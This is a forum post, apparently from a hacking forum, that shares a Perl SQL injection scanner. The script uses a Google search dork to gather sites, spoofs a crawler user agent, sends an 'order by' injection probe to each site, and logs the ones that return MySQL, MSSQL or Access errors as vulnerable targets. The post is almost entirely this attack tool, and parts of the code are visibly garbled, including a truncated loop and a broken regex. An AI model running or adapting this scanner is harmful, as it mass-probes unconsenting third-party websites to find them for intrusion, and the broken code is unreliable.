• Earn real money by being active: Hello Guest, earn real money by simply being active on the forum — post quality content, get reactions, and help the community. Once you reach the minimum credit amount, you’ll be able to withdraw your balance directly. Learn how it works.

Perl UnK SQLi Vuln Scanner

Status
Not open for further replies.

sQuo

~ KillmeMories ~
Shadow
User
Joined
Oct 16, 2011
Messages
5,851
Reputation
0
Reaction score
22,904
Points
688
Credits
0
‎13 Years of Service‎
24%
Code:
>#!/usr/bin/perl
# UnK SQLi Vulnerable Scanner (MySQL/MsSQL/JetDB)

use LWP::UserAgent;
use HTTP::Request;

if (!defined($ARGV[0])){&help}

sub help
{
system('cls');
system('title SQL Injections Vulnerable Scanner');
print "\n\n-----------------------------------\n";
print "[!] Usage : perl sqliscan.pl \n";
exit();
}

my $search_word = $ARGV[0] ;
my @mysqlvuln  =("---------------MySQL Vuln---------------\n");
my @mssqlvuln  =("---------------MsSQL Vuln---------------\n");
my @accessvuln =("---------------JetDB Vuln---------------\n");

system('cls');
system('title SQL Injections Vulnerable Scanner');
print "\n\n
[*]UnK SQLi Vulnerable Scanner (MySQL/MsSQL/JetDB)\n";
print "
[*]Coded By AlpHaNiX\n\n\n\n";
checkgoogle();
googlescan($search_word);
open(vuln_file,">>Vuln.txt") ;
print vuln_file @mysqlvuln;
print vuln_file @mssqlvuln;
print vuln_file @accessvuln;
close(vuln_file);
print "[+] Vulnerables Found Saved to Vuln.txt\n";
exit();

sub checkgoogle
{
    my $request   = HTTP::Request->new(GET => "http://www.google.com/search?hl=en&q=$dork&btnG=Search&start=10");
    my $useragent = LWP::UserAgent->new(agent => 'FAST-WebCrawler/3.3 ([email protected]; http://fast.no/support.php?c=faqs/crawler)');
    my $response  = $useragent->request($request) ;
    my $result    = $response->content;
    if ($result   =~ m/if you suspect that your computer or network has been infected/i){print "[!] You Have Been Banned From Google Search :( \n";exit()}
}         


sub googlescan
{
    my $dork  = $_[0];
            for ($i=0;$i             {
                my $request   = HTTP::Request->new(GET => "http://www.google.com/search?hl=en&q=$dork&btnG=Search&start=$i");
                my $useragent = LWP::UserAgent->new(agent => 'FAST-WebCrawler/3.3 ([email protected]; http://fast.no/support.php?c=faqs/crawler)');
                my $response  = $useragent->request($request) ;
                my $result    = $response->content;
                while ($result =~ m/class=r>/g ){checkvuln($1)}
            }                 
}


sub checkvuln
{
    my $google_url = $_[0];
    print "[!] Trying to fuzz $google_url\n";     
    my $link       = $google_url.'0+order+by+9999999--';
    my $ua         = LWP::UserAgent->new();
    my $req        = $ua->get($link);
    my $fuzz       = $req->content;
    if ($fuzz =~ m/You have an error in your SQL syntax/i || $fuzz =~ m/Query failed/i || $fuzz =~ m/SQL query failed/i || $fuzz =~ m/mysql_fetch_/i || $fuzz =~ m/mysql_fetch_array/i || $fuzz =~ m/mysql_num_rows/i || $fuzz =~ m/The used SELECT statements have a different number of columns/i )
    {
        print "[!] MySQL Vulnerable     -> $google_url\n";
        push (@mysqlvuln,"$google_url\n");
    }
    elsif ($fuzz =~ m/ODBC SQL Server Driver/i)
    {
        print "[!] MsSQL Vulnerable     -> $google_url\n";
        push (@mssqlvuln,"$google_url\n");
    }
    elsif ($fuzz =~ m/Microsoft JET Database/i || $fuzz =~ m/ODBC Microsoft Access Driver/i )
    {
        print "[!] MS Access Vulnerable -> $google_url\n";
        push (@accessvuln,"$google_url\n");
    }
}
 
Status
Not open for further replies.
Back
Top